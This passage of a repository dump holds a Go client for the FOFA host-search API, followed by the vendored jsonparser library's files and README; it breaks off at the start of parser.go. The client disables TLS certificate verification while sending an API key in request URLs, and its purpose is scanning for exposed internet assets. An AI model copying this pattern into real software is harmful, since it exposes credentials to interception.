clt.QueryAsJSON(page, []byte(fofaQuery)) 83 | if err != nil { 84 | fmt.Printf("%v\n", err.Error()) 85 | os.Exit(1) 86 | } 87 | return ret 88 | } 89 | 90 | // NewFofaClient create a fofa client 91 | func NewFofaClient(email, key []byte) *Fofa { 92 | transCfg := &http.Transport{ 93 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 94 | } 95 | return &Fofa{ 96 | Email: email, 97 | Key: key, 98 | Client: &http.Client{ 99 | Transport: transCfg, // disable tls verify 100 | }, 101 | } 102 | } 103 | 104 | // Get overwrite http.Get 105 | func (ff *Fofa) Get(u string) ([]byte, error) { 106 | 107 | body, err := ff.Client.Get(u) 108 | if err != nil { 109 | return nil, err 110 | } 111 | defer body.Body.Close() 112 | content, err := ioutil.ReadAll(body.Body) 113 | if err != nil { 114 | return nil, err 115 | } 116 | return content, nil 117 | } 118 | 119 | // QueryAsJSON make a fofa query and return json data as result 120 | // echo 'domain="nosec.org"' | base64 - | xargs -I{} 121 | // curl "https://fofa.so/api/v1/search/all?email=${FOFA_EMAIL}&key=${FOFA_KEY}&qbase64={}" 122 | // host title ip domain port country city 123 | func (ff *Fofa) QueryAsJSON(page uint, args ...[]byte) ([]byte, error) { 124 | var ( 125 | query = []byte(nil) 126 | fields = []byte("protocol,host,ip") 127 | q = []byte(nil) 128 | ) 129 | switch { 130 | case len(args) == 1 || (len(args) == 2 && args[1] == nil): 131 | query = args[0] 132 | case len(args) == 2: 133 | query = args[0] 134 | fields = args[1] 135 | } 136 | 137 | q = []byte(base64.StdEncoding.EncodeToString(query)) 138 | q = bytes.Join([][]byte{[]byte(defaultAPIUrl), 139 | []byte("email="), ff.Email, 140 | []byte("&key="), ff.Key, 141 | []byte("&qbase64="), q, 142 | []byte("&fields="), fields, 143 | []byte("&page="), []byte(strconv.Itoa(int(page))), 144 | []byte("&size="), []byte(strconv.Itoa(300)), 145 | }, []byte("")) 146 | //fmt.Printf("%s\n", q) 147 | content, err := ff.Get(string(q)) 148 | if err != nil { 149 | return nil, err 150 | } 151 | errmsg, err := jsonparser.GetString(content, "errmsg") 152 | if err == nil { 153 | err = errors.New(errmsg) 154 | } else { 155 | err = nil 156 | } 157 | return content, err 158 | } 159 | 160 | // QueryAsArray make a fofa query and 161 | // return array data as result 162 | // echo 'domain="nosec.org"' | base64 - | xargs -I{} 163 | // curl "https://fofa.so/api/v1/search/all?email=${FOFA_EMAIL}&key=${FOFA_KEY}&qbase64={}" 164 | func (ff *Fofa) QueryAsArray(page uint, args ...[]byte) (result Results, err error) { 165 | 166 | var content []byte 167 | 168 | content, err = ff.QueryAsJSON(page, args...) 169 | if err != nil { 170 | return nil, err 171 | } 172 | 173 | errmsg, err := jsonparser.GetString(content, "errmsg") 174 | // err equals to nil on error 175 | if err == nil { 176 | return nil, errors.New(errmsg) 177 | } 178 | 179 | err = json.Unmarshal(content, &result) 180 | 181 | return 182 | } 183 | 184 | // UserInfo get user information 185 | func (ff *Fofa) UserInfo() (user *User, err error) { 186 | user = new(User) 187 | queryStr := strings.Join([]string{"https://fofa.so/api/v1/info/my?email=", string(ff.Email), "&key=", string(ff.Key)}, "") 188 | 189 | content, err := ff.Get(queryStr) 190 | 191 | if err != nil { 192 | return nil, err 193 | } 194 | 195 | if err = json.Unmarshal(content, user); err != nil { 196 | return nil, err 197 | } 198 | 199 | if len(user.Err) != 0 { 200 | return nil, errors.New(user.Err) 201 | } 202 | 203 | return user, nil 204 | } 205 | 206 | func (u *User) String() string { 207 | data, err := json.Marshal(u) 208 | if err != nil { 209 | log.Fatalf("json marshal failed. err: %s\n", err) 210 | return "" 211 | } 212 | return string(data) 213 | } 214 | 215 | func (r *result) String() string { 216 | data, err := json.Marshal(r) 217 | if err != nil { 218 | log.Fatalf("json marshal failed. err: %s\n", err) 219 | return "" 220 | } 221 | return string(data) 222 | } 223 | 224 | func (r *Results) String() string { 225 | data, err := json.Marshal(r) 226 | if err != nil { 227 | log.Fatalf("json marshal failed. err: %s\n", err) 228 | return "" 229 | } 230 | return string(data) 231 | } 232 | -------------------------------------------------------------------------------- /main/Developer/Fofa/vendor/github.com/buger/jsonparser/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | *.test 3 | 4 | *.out 5 | 6 | *.mprof 7 | 8 | vendor/github.com/buger/goterm/ 9 | -------------------------------------------------------------------------------- /main/Developer/Fofa/vendor/github.com/buger/jsonparser/.travis.yml: -------------------------------------------------------------------------------- 1 | language: go 2 | go: 1.6 3 | script: go test -v ./. 4 | -------------------------------------------------------------------------------- /main/Developer/Fofa/vendor/github.com/buger/jsonparser/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.6 2 | 3 | RUN go get github.com/Jeffail/gabs 4 | RUN go get github.com/bitly/go-simplejson 5 | RUN go get github.com/pquerna/ffjson 6 | RUN go get github.com/antonholmquist/jason 7 | RUN go get github.com/mreiferson/go-ujson 8 | RUN go get -tags=unsafe -u github.com/ugorji/go/codec 9 | RUN go get github.com/mailru/easyjson 10 | 11 | WORKDIR /go/src/github.com/buger/jsonparser 12 | ADD . /go/src/github.com/buger/jsonparser -------------------------------------------------------------------------------- /main/Developer/Fofa/vendor/github.com/buger/jsonparser/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2016 Leonid Bugaev 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /main/Developer/Fofa/vendor/github.com/buger/jsonparser/Makefile: -------------------------------------------------------------------------------- 1 | SOURCE = parser.go 2 | CONTAINER = jsonparser 3 | SOURCE_PATH = /go/src/github.com/buger/jsonparser 4 | BENCHMARK = JsonParser 5 | BENCHTIME = 5s 6 | TEST = . 7 | DRUN = docker run -v `pwd`:$(SOURCE_PATH) -i -t $(CONTAINER) 8 | 9 | build: 10 | docker build -t $(CONTAINER) . 11 | 12 | race: 13 | $(DRUN) --env GORACE="halt_on_error=1" go test ./. $(ARGS) -v -race -timeout 15s 14 | 15 | bench: 16 | $(DRUN) go test $(LDFLAGS) -test.benchmem -bench $(BENCHMARK) ./benchmark/ $(ARGS) -benchtime $(BENCHTIME) -v 17 | 18 | bench_local: 19 | $(DRUN) go test $(LDFLAGS) -test.benchmem -bench . $(ARGS) -benchtime $(BENCHTIME) -v 20 | 21 | profile: 22 | $(DRUN) go test $(LDFLAGS) -test.benchmem -bench $(BENCHMARK) ./benchmark/ $(ARGS) -memprofile mem.mprof -v 23 | $(DRUN) go test $(LDFLAGS) -test.benchmem -bench $(BENCHMARK) ./benchmark/ $(ARGS) -cpuprofile cpu.out -v 24 | $(DRUN) go test $(LDFLAGS) -test.benchmem -bench $(BENCHMARK) ./benchmark/ $(ARGS) -c 25 | 26 | test: 27 | $(DRUN) go test $(LDFLAGS) ./ -run $(TEST) -timeout 10s $(ARGS) -v 28 | 29 | fmt: 30 | $(DRUN) go fmt ./... 31 | 32 | vet: 33 | $(DRUN) go vet ./. 34 | 35 | bash: 36 | $(DRUN) /bin/bash -------------------------------------------------------------------------------- /main/Developer/Fofa/vendor/github.com/buger/jsonparser/README.md: -------------------------------------------------------------------------------- 1 | [![Go Report Card](https://goreportcard.com/badge/github.com/buger/jsonparser)](https://goreportcard.com/report/github.com/buger/jsonparser) ![License](https://img.shields.io/dub/l/vibe-d.svg) 2 | # Alternative JSON parser for Go (so far fastest) 3 | 4 | It does not require you to know the structure of the payload (eg. create structs), and allows accessing fields by providing the path to them. It is up to **10 times faster** than standard `encoding/json` package (depending on payload size and usage), **allocates no memory**. See benchmarks below. 5 | 6 | ## Rationale 7 | Originally I made this for a project that relies on a lot of 3rd party APIs that can be unpredictable and complex. 8 | I love simplicity and prefer to avoid external dependecies. `encoding/json` requires you to know exactly your data structures, or if you prefer to use `map[string]interface{}` instead, it will be very slow and hard to manage. 9 | I investigated what's on the market and found that most libraries are just wrappers around `encoding/json`, there is few options with own parsers (`ffjson`, `easyjson`), but they still requires you to create data structures. 10 | 11 | 12 | Goal of this project is to push JSON parser to the performance limits and not sucrifice with compliance and developer user experience. 13 | 14 | ## Example 15 | For the given JSON our goal is to extract the user's full name, number of github followers and avatar. 16 | 17 | ```go 18 | import "github.com/buger/jsonparser" 19 | 20 | ... 21 | 22 | data := []byte(`{ 23 | "person": { 24 | "name": { 25 | "first": "Leonid", 26 | "last": "Bugaev", 27 | "fullName": "Leonid Bugaev" 28 | }, 29 | "github": { 30 | "handle": "buger", 31 | "followers": 109 32 | }, 33 | "avatars": [ 34 | { "url": "https://avatars1.githubusercontent.com/u/14009?v=3&s=460", "type": "thumbnail" } 35 | ] 36 | }, 37 | "company": { 38 | "name": "Acme" 39 | } 40 | }`) 41 | 42 | // You can specify key path by providing arguments to Get function 43 | jsonparser.Get(data, "person", "name", "fullName") 44 | 45 | // There is `GetInt` and `GetBoolean` helpers if you exactly know key data type 46 | jsonparser.GetInt(data, "person", "github", "followers") 47 | 48 | // When you try to get object, it will return you []byte slice pointer to data containing it 49 | // In `company` it will be `{"name": "Acme"}` 50 | jsonparser.Get(data, "company") 51 | 52 | // If the key doesn't exist it will throw an error 53 | var size int64 54 | if value, _, err := jsonparser.GetInt(data, "company", "size"); err == nil { 55 | size = value 56 | } 57 | 58 | // You can use `ArrayEach` helper to iterate items [item1, item2 .... itemN] 59 | jsonparser.ArrayEach(data, func(value []byte, dataType jsonparser.ValueType, offset int, err error) { 60 | fmt.Println(jsonparser.Get(value, "url")) 61 | }, "person", "avatars") 62 | 63 | // You can use `ObjectEach` helper to iterate objects { "key1":object1, "key2":object2, .... "keyN":objectN } 64 | jsonparser.ObjectEach(data, func(key []byte, value []byte, dataType jsonparser.ValueType, offset int) error { 65 | fmt.Printf("Key: '%s'\n Value: '%s'\n Type: %s\n", string(key), string(value), dataType) 66 | return nil 67 | }, "person", "name") 68 | ``` 69 | 70 | ## Need to speedup your app? 71 | 72 | I'm available for consulting and can help you push your app performance to the limits. Ping me at: leonsbox@gmail.com. 73 | 74 | ## Reference 75 | 76 | Library API is really simple. You just need the `Get` method to perform any operation. The rest is just helpers around it. 77 | 78 | You also can view API at [godoc.org](https://godoc.org/github.com/buger/jsonparser) 79 | 80 | 81 | ### **`Get`** 82 | ```go 83 | func Get(data []byte, keys ...string) (value []byte, dataType jsonparser.ValueType, offset int, err error) 84 | ``` 85 | Receives data structure, and key path to extract value from. 86 | 87 | Returns: 88 | * `value` - Pointer to original data structure containing key value, or just empty slice if nothing found or error 89 | * `dataType` - Can be: `NotExist`, `String`, `Number`, `Object`, `Array`, `Boolean` or `Null` 90 | * `offset` - Offset from provided data structure where key value ends. Used mostly internally, for example for `ArrayEach` helper. 91 | * `err` - If the key is not found or any other parsing issue, it should return error. If key not found it also sets `dataType` to `NotExist` 92 | 93 | Accepts multiple keys to specify path to JSON value (in case of quering nested structures). 94 | If no keys are provided it will try to extract the closest JSON value (simple ones or object/array), useful for reading streams or arrays, see `ArrayEach` implementation. 95 | 96 | ### **`GetString`** 97 | ```go 98 | func GetString(data []byte, keys ...string) (val string, err error) 99 | ``` 100 | Returns strings properly handing escaped and unicode characters. Note that this will cause additional memory allocations. 101 | 102 | ### **`GetUnsafeString`** 103 | If you need string in your app, and ready to sacrifice with support of escaped symbols in favor of speed. It returns string mapped to existing byte slice memory, without any allocations: 104 | ```go 105 | s, _, := jsonparser.GetUnsafeString(data, "person", "name", "title") 106 | switch s { 107 | case 'CEO': 108 | ... 109 | case 'Engineer' 110 | ... 111 | ... 112 | } 113 | ``` 114 | Note that `unsafe` here means that your string will exist until GC will free underlying byte slice, for most of cases it means that you can use this string only in current context, and should not pass it anywhere externally: through channels or any other way. 115 | 116 | 117 | ### **`GetBoolean`**, **`GetInt`** and **`GetFloat`** 118 | ```go 119 | func GetBoolean(data []byte, keys ...string) (val bool, err error) 120 | 121 | func GetFloat(data []byte, keys ...string) (val float64, err error) 122 | 123 | func GetInt(data []byte, keys ...string) (val float64, err error) 124 | ``` 125 | If you know the key type, you can use the helpers above. 126 | If key data type do not match, it will return error. 127 | 128 | ### **`ArrayEach`** 129 | ```go 130 | func ArrayEach(data []byte, cb func(value []byte, dataType jsonparser.ValueType, offset int, err error), keys ...string) 131 | ``` 132 | Needed for iterating arrays, accepts a callback function with the same return arguments as `Get`. 133 | 134 | ### **`ObjectEach`** 135 | ```go 136 | func ObjectEach(data []byte, callback func(key []byte, value []byte, dataType ValueType, offset int) error, keys ...string) (err error) 137 | ``` 138 | Needed for iterating object, accepts a callback function. Example: 139 | ```go 140 | var handler func([]byte, []byte, jsonparser.ValueType, int) error 141 | handler = func(key []byte, value []byte, dataType jsonparser.ValueType, offset int) error { 142 | //do stuff here 143 | } 144 | jsonparser.ObjectEach(myJson, handler) 145 | ``` 146 | 147 | 148 | ### **`KeyEach`** 149 | ```go 150 | func KeyEach(data []byte, cb func(idx int, value []byte, dataType jsonparser.ValueType, err error), paths ...[]string) 151 | ``` 152 | When you need to read multiple keys, and you do not afraid of low-level API `KeyEach` is your friend. It read payload only single time, and calls callback function once path is found. For example when you call multiple times `Get`, it has to process payload multiple times, each time you call it. Depending on payload `KeyEach` can be multiple times faster than `Get`. Path can use nested keys as well! 153 | 154 | ```go 155 | paths := [][]string{ 156 | []string{"uuid"}, 157 | []string{"tz"}, 158 | []string{"ua"}, 159 | []string{"st"}, 160 | } 161 | var data SmallPayload 162 | 163 | jsonparser.EachKey(smallFixture, func(idx int, value []byte, vt jsonparser.ValueType, err error){ 164 | switch idx { 165 | case 0: 166 | data.Uuid, _ = value 167 | case 1: 168 | v, _ := jsonparser.ParseInt(value) 169 | data.Tz = int(v) 170 | case 2: 171 | data.Ua, _ = value 172 | case 3: 173 | v, _ := jsonparser.ParseInt(value) 174 | data.St = int(v) 175 | } 176 | }, paths...) 177 | ``` 178 | 179 | 180 | ## What makes it so fast? 181 | * It does not rely on `encoding/json`, `reflection` or `interface{}`, the only real package dependency is `bytes`. 182 | * Operates with JSON payload on byte level, providing you pointers to the original data structure: no memory allocation. 183 | * No automatic type conversions, by default everything is a []byte, but it provides you value type, so you can convert by yourself (there is few helpers included). 184 | * Does not parse full record, only keys you specified 185 | 186 | 187 | ## Benchmarks 188 | 189 | There are 3 benchmark types, trying to simulate real-life usage for small, medium and large JSON payloads. 190 | For each metric, the lower value is better. Time/op is in nanoseconds. Values better than standard encoding/json marked as bold text. 191 | Benchmarks run on standard Linode 1024 box. 192 | 193 | Compared libraries: 194 | * https://golang.org/pkg/encoding/json 195 | * https://github.com/Jeffail/gabs 196 | * https://github.com/bitly/go-simplejson 197 | * https://github.com/antonholmquist/jason 198 | * https://github.com/mreiferson/go-ujson 199 | * https://github.com/ugorji/go/codec 200 | * https://github.com/pquerna/ffjson 201 | * https://github.com/mailru/easyjson 202 | * https://github.com/buger/jsonparser 203 | 204 | #### TLDR 205 | If you want to skip next sections we have 2 winner: `jsonparser` and `easyjson`. 206 | `jsonparser` is up to 10 times faster than standard `encoding/json` package (depending on payload size and usage), and almost infinitely (literally) better in memory consumption because it operates with data on byte level, and provide direct slice pointers. 207 | `easyjson` wins in CPU in medium tests and frankly i'm impressed with this package: it is remarkable results considering that it is almost drop-in replacement for `encoding/json` (require some code generation). 208 | 209 | It's hard to fully compare `jsonparser` and `easyjson` (or `ffson`), they a true parsers and fully process record, unlike `jsonparser` which parse only keys you specified. 210 | 211 | If you searching for replacement of `encoding/json` while keeping structs, `easyjson` is an amazing choise. If you want to process dynamic JSON, have memory constrains, or more control over your data you should try `jsonparser`. 212 | 213 | `jsonparser` performance heavily depends on usage, and it works best when you do not need to process full record, only some keys. The more calls you need to make, the slower it will be, in contrast `easyjson` (or `ffjson`, `encoding/json`) parser record only 1 time, and then you can make as many calls as you want. 214 | 215 | With great power comes great responsibility! :) 216 | 217 | 218 | #### Small payload 219 | 220 | Each test processes 190 bytes of http log as a JSON record. 221 | It should read multiple fields. 222 | https://github.com/buger/jsonparser/blob/master/benchmark/benchmark_small_payload_test.go 223 | 224 | | Library | time/op | bytes/op | allocs/op | 225 | | --- | --- | --- | --- | --- | 226 | | encoding/json struct | 7879 | 880 | 18 | 227 | | encoding/json interface{} | 8946 | 1521 | 38| 228 | | Jeffail/gabs | 10053 | 1649 | 46 | 229 | | bitly/go-simplejson | 10128 | 2241 | 36 | 230 | | antonholmquist/jason | 27152 | 7237 | 101 | 231 | | github.com/ugorji/go/codec | 8806 | 2176 | 31 | 232 | | mreiferson/go-ujson | **7008** | **1409** | 37 | 233 | | pquerna/ffjson | **3769** | **624** | **15** | 234 | | mailru/easyjson | **2002** | **192** | **9** | 235 | | buger/jsonparser | **1367** | **0** | **0** | 236 | | buger/jsonparser (EachKey API) | **809** | **0** | **0** | 237 | 238 | Winners are ffjson, easyjson and jsonparser, where jsonparser is up to 9.8x faster than encoding/json and 4.6x faster than ffjson, and slightly faster than easyjson. 239 | If you look at memory allocation, jsonparser has no rivals, as it makes no data copy and operates with raw []byte structures and pointers to it. 240 | 241 | #### Medium payload 242 | 243 | Each test processes a 2.4kb JSON record (based on Clearbit API). 244 | It should read multiple nested fields and 1 array. 245 | 246 | https://github.com/buger/jsonparser/blob/master/benchmark/benchmark_medium_payload_test.go 247 | 248 | | Library | time/op | bytes/op | allocs/op | 249 | | --- | --- | --- | --- | --- | 250 | | encoding/json struct | 57749 | 1336 | 29 | 251 | | encoding/json interface{} | 79297 | 10627 | 215 | 252 | | Jeffail/gabs | 83807 | 11202 | 235 | 253 | | bitly/go-simplejson | 88187 | 17187 | 220 | 254 | | antonholmquist/jason | 94099 | 19013 | 247 | 255 | | github.com/ugorji/go/codec | 114719 | 6712 | 152 | 256 | | mreiferson/go-ujson | **56972** | 11547 | 270 | 257 | | pquerna/ffjson | **20298** | **856** | **20** | 258 | | mailru/easyjson | **10512** | **336** | **12** | 259 | | buger/jsonparser | **15955** | **0** | **0** | 260 | | buger/jsonparser (EachKey API) | **8916** | **0** | **0** | 261 | 262 | The difference between ffjson and jsonparser in CPU usage is smaller, while the memory consumption difference is growing. On the other hand `easyjson` shows remarkable performance for medium payload. 263 | 264 | `gabs`, `go-simplejson` and `jason` are based on encoding/json and map[string]interface{} and actually only helpers for unstructured JSON, their performance correlate with `encoding/json interface{}`, and they will skip next round. 265 | `go-ujson` while have its own parser, shows same performance as `encoding/json`, also skips next round. Same situation with `ugorji/go/codec`, but it showed unexpectedly bad performance for complex payloads. 266 | 267 | 268 | #### Large payload 269 | 270 | Each test processes a 24kb JSON record (based on Discourse API) 271 | It should read 2 arrays, and for each item in array get a few fields. 272 | Basically it means processing a full JSON file. 273 | 274 | https://github.com/buger/jsonparser/blob/master/benchmark/benchmark_large_payload_test.go 275 | 276 | | Library | time/op | bytes/op | allocs/op | 277 | | --- | --- | --- | --- | --- | 278 | | encoding/json struct | 748336 | 8272 | 307 | 279 | | encoding/json interface{} | 1224271 | 215425 | 3395 | 280 | | pquerna/ffjson | **312271** | **7792** | **298** | 281 | | mailru/easyjson | **154186** | **6992** | **288** | 282 | | buger/jsonparser | **85308** | **0** | **0** | 283 | 284 | `jsonparser` now is a winner, but do not forget that it is way more lighweight parser than `ffson` or `easyjson`, and they have to parser all the data, while `jsonparser` parse only what you need. All `ffjson`, `easysjon` and `jsonparser` have their own parsing code, and does not depend on `encoding/json` or `interface{}`, thats one of the reasons why they are so fast. `easyjson` also use a bit of `unsafe` package to reduce memory consuption (in theory it can lead to some unexpected GC issue, but i did not tested enough) 285 | 286 | Also last benchmark did not included `EachKey` test, because in this particular case we need to read lot of Array values, and using `ArrayEach` is more efficient. 287 | 288 | ## Questions and support 289 | 290 | All bug-reports and suggestions should go though Github Issues. 291 | If you have some private questions you can send them directly to me: leonsbox@gmail.com 292 | 293 | ## Contributing 294 | 295 | 1. Fork it 296 | 2. Create your feature branch (git checkout -b my-new-feature) 297 | 3. Commit your changes (git commit -am 'Added some feature') 298 | 4. Push to the branch (git push origin my-new-feature) 299 | 5. Create new Pull Request 300 | 301 | ## Development 302 | 303 | All my development happens using Docker, and repo include some Make tasks to simplify development. 304 | 305 | * `make build` - builds docker image, usually can be called only once 306 | * `make test` - run tests 307 | * `make fmt` - run go fmt 308 | * `make bench` - run benchmarks (if you need to run only single benchmark modify `BENCHMARK` variable in make file) 309 | * `make profile` - runs benchmark and generate 3 files- `cpu.out`, `mem.mprof` and `benchmark.test` binary, which can be used for `go tool pprof` 310 | * `make bash` - enter container (i use it for running `go tool pprof` above) 311 | -------------------------------------------------------------------------------- /main/Developer/Fofa/vendor/github.com/buger/jsonparser/bytes.go: -------------------------------------------------------------------------------- 1 | package jsonparser 2 | 3 | // About 3x faster then strconv.ParseInt because does not check for range error and support only base 10, which is enough for JSON 4 | func parseInt(bytes []byte) (v int64, ok bool) { 5 | if len(bytes) == 0 { 6 | return 0, false 7 | } 8 | 9 | var neg bool = false 10 | if bytes[0] == '-' { 11 | neg = true 12 | bytes = bytes[1:] 13 | } 14 | 15 | for _, c := range bytes { 16 | if c >= '0' && c <= '9' { 17 | v = (10 * v) + int64(c-'0') 18 | } else { 19 | return 0, false 20 | } 21 | } 22 | 23 | if neg { 24 | return -v, true 25 | } else { 26 | return v, true 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /main/Developer/Fofa/vendor/github.com/buger/jsonparser/bytes_safe.go: -------------------------------------------------------------------------------- 1 | // +build appengine appenginevm 2 | 3 | package jsonparser 4 | 5 | import ( 6 | "strconv" 7 | ) 8 | 9 | // See fastbytes_unsafe.go for explanation on why *[]byte is used (signatures must be consistent with those in that file) 10 | 11 | func equalStr(b *[]byte, s string) bool { 12 | return string(*b) == s 13 | } 14 | 15 | func parseFloat(b *[]byte) (float64, error) { 16 | return strconv.ParseFloat(string(*b), 64) 17 | } 18 | 19 | func bytesToString(b *[]byte) string { 20 | return string(*b) 21 | } 22 | -------------------------------------------------------------------------------- /main/Developer/Fofa/vendor/github.com/buger/jsonparser/bytes_unsafe.go: -------------------------------------------------------------------------------- 1 | // +build !appengine,!appenginevm 2 | 3 | package jsonparser 4 | 5 | import ( 6 | "strconv" 7 | "unsafe" 8 | ) 9 | 10 | // 11 | // The reason for using *[]byte rather than []byte in parameters is an optimization. As of Go 1.6, 12 | // the compiler cannot perfectly inline the function when using a non-pointer slice. That is, 13 | // the non-pointer []byte parameter version is slower than if its function body is manually 14 | // inlined, whereas the pointer []byte version is equally fast to the manually inlined 15 | // version. Instruction count in assembly taken from "go tool compile" confirms this difference. 16 | // 17 | // TODO: Remove hack after Go 1.7 release 18 | // 19 | func equalStr(b *[]byte, s string) bool { 20 | return *(*string)(unsafe.Pointer(b)) == s 21 | } 22 | 23 | func parseFloat(b *[]byte) (float64, error) { 24 | return strconv.ParseFloat(*(*string)(unsafe.Pointer(b)), 64) 25 | } 26 | 27 | // A hack until issue golang/go#2632 is fixed. 28 | // See: https://github.com/golang/go/issues/2632 29 | func bytesToString(b *[]byte) string { 30 | return *(*string)(unsafe.Pointer(b)) 31 | } 32 | -------------------------------------------------------------------------------- /main/Developer/Fofa/vendor/github.com/buger/jsonparser/escape.go: -------------------------------------------------------------------------------- 1 | package jsonparser 2 | 3 | import ( 4 | "bytes" 5 | "unicode/utf8" 6 | ) 7 | 8 | // JSON Unicode stuff: see https://tools.ietf.org/html/rfc7159#section-7 9 | 10 | const supplementalPlanesOffset = 0x10000 11 | const highSurrogateOffset = 0xD800 12 | const lowSurrogateOffset = 0xDC00 13 | 14 | func combineUTF16Surrogates(high, low rune) rune { 15 | return supplementalPlanesOffset + (high-highSurrogateOffset)<<10 + (low - lowSurrogateOffset) 16 | } 17 | 18 | const badHex = -1 19 | 20 | func h2I(c byte) int { 21 | switch { 22 | case c >= '0' && c <= '9': 23 | return int(c - '0') 24 | case c >= 'A' && c <= 'F': 25 | return int(c - 'A' + 10) 26 | case c >= 'a' && c <= 'f': 27 | return int(c - 'a' + 10) 28 | } 29 | return badHex 30 | } 31 | 32 | // decodeSingleUnicodeEscape decodes a single \uXXXX escape sequence. The prefix \u is assumed to be present and 33 | // is not checked. 34 | // In JSON, these escapes can either come alone or as part of "UTF16 surrogate pairs" that must be handled together. 35 | // This function only handles one; decodeUnicodeEscape handles this more complex case. 36 | func decodeSingleUnicodeEscape(in []byte) (rune, bool) { 37 | // We need at least 6 characters total 38 | if len(in) < 6 { 39 | return utf8.RuneError, false 40 | } 41 | 42 | // Convert hex to decimal 43 | h1, h2, h3, h4 := h2I(in[2]), h2I(in[3]), h2I(in[4]), h2I(in[5]) 44 | if h1 == badHex || h2 == badHex || h3 == badHex || h4 == badHex { 45 | return utf8.RuneError, false 46 | } 47 | 48 | // Compose the hex digits 49 | return rune(h1<<12 + h2<<8 + h3<<4 + h4), true 50 | } 51 | 52 | func decodeUnicodeEscape(in []byte) (rune, int) { 53 | if r, ok := decodeSingleUnicodeEscape(in); !ok { 54 | // Invalid Unicode escape 55 | return utf8.RuneError, -1 56 | } else if r < highSurrogateOffset { 57 | // Valid Unicode escape in Basic Multilingual Plane 58 | return r, 6 59 | } else if r2, ok := decodeSingleUnicodeEscape(in[6:]); !ok { // Note: previous decodeSingleUnicodeEscape success guarantees at least 6 bytes remain 60 | // UTF16 "high surrogate" without manditory valid following Unicode escape for the "low surrogate" 61 | return utf8.RuneError, -1 62 | } else if r2 < lowSurrogateOffset { 63 | // Invalid UTF16 "low surrogate" 64 | return utf8.RuneError, -1 65 | } else { 66 | // Valid UTF16 surrogate pair 67 | return combineUTF16Surrogates(r, r2), 12 68 | } 69 | 70 | } 71 | 72 | // backslashCharEscapeTable: when '\X' is found for some byte X, it is to be replaced with backslashCharEscapeTable[X] 73 | var backslashCharEscapeTable = [...]byte{ 74 | '"': '"', 75 | '\\': '\\', 76 | '/': '/', 77 | 'b': '\b', 78 | 'f': '\f', 79 | 'n': '\n', 80 | 'r': '\r', 81 | 't': '\t', 82 | } 83 | 84 | // unescapeToUTF8 unescapes the single escape sequence starting at 'in' into 'out' and returns 85 | // how many characters were consumed from 'in' and emitted into 'out'. 86 | // If a valid escape sequence does not appear as a prefix of 'in', (-1, -1) to signal the error. 87 | func unescapeToUTF8(in, out []byte) (inLen int, outLen int) { 88 | if len(in) < 2 || in[0] != '\\' { 89 | // Invalid escape due to insufficient characters for any escape or no initial backslash 90 | return -1, -1 91 | } 92 | 93 | // https://tools.ietf.org/html/rfc7159#section-7 94 | switch e := in[1]; e { 95 | case '"', '\\', '/', 'b', 'f', 'n', 'r', 't': 96 | // Valid basic 2-character escapes (use lookup table) 97 | out[0] = backslashCharEscapeTable[e] 98 | return 2, 1 99 | case 'u': 100 | // Unicode escape 101 | if r, inLen := decodeUnicodeEscape(in); inLen == -1 { 102 | // Invalid Unicode escape 103 | return -1, -1 104 | } else { 105 | // Valid Unicode escape; re-encode as UTF8 106 | outLen := utf8.EncodeRune(out, r) 107 | return inLen, outLen 108 | } 109 | } 110 | 111 | return -1, -1 112 | } 113 | 114 | // unescape unescapes the string contained in 'in' and returns it as a slice. 115 | // If 'in' contains no escaped characters: 116 | // Returns 'in'. 117 | // Else, if 'out' is of sufficient capacity (guaranteed if cap(out) >= len(in)): 118 | // 'out' is used to build the unescaped string and is returned with no extra allocation 119 | // Else: 120 | // A new slice is allocated and returned. 121 | func Unescape(in, out []byte) ([]byte, error) { 122 | firstBackslash := bytes.IndexByte(in, '\\') 123 | if firstBackslash == -1 { 124 | return in, nil 125 | } 126 | 127 | // Get a buffer of sufficient size (allocate if needed) 128 | if cap(out) < len(in) { 129 | out = make([]byte, len(in)) 130 | } else { 131 | out = out[0:len(in)] 132 | } 133 | 134 | // Copy the first sequence of unescaped bytes to the output and obtain a buffer pointer (subslice) 135 | copy(out, in[:firstBackslash]) 136 | in = in[firstBackslash:] 137 | buf := out[firstBackslash:] 138 | 139 | for len(in) > 0 { 140 | // Unescape the next escaped character 141 | inLen, bufLen := unescapeToUTF8(in, buf) 142 | if inLen == -1 { 143 | return nil, MalformedStringEscapeError 144 | } 145 | 146 | in = in[inLen:] 147 | buf = buf[bufLen:] 148 | 149 | // Copy everything up until the next backslash 150 | nextBackslash := bytes.IndexByte(in, '\\') 151 | if nextBackslash == -1 { 152 | copy(buf, in) 153 | buf = buf[len(in):] 154 | break 155 | } else { 156 | copy(buf, in[:nextBackslash]) 157 | buf = buf[nextBackslash:] 158 | in = in[nextBackslash:] 159 | } 160 | } 161 | 162 | // Trim the out buffer to the amount that was actually emitted 163 | return out[:len(out)-len(buf)], nil 164 | } 165 | -------------------------------------------------------------------------------- /main/Developer/Fofa/vendor/github.com/buger/jsonparser/parser.go: -------------------------------------------------------------------------------- 1 | package jsonparser 2 | 3 | import ( 4 | "bytes" 5 | "errors" 6 | "fmt" 7 | "math" 8 | ) 9 | 10 | // Errors 11 | var ( 12 | 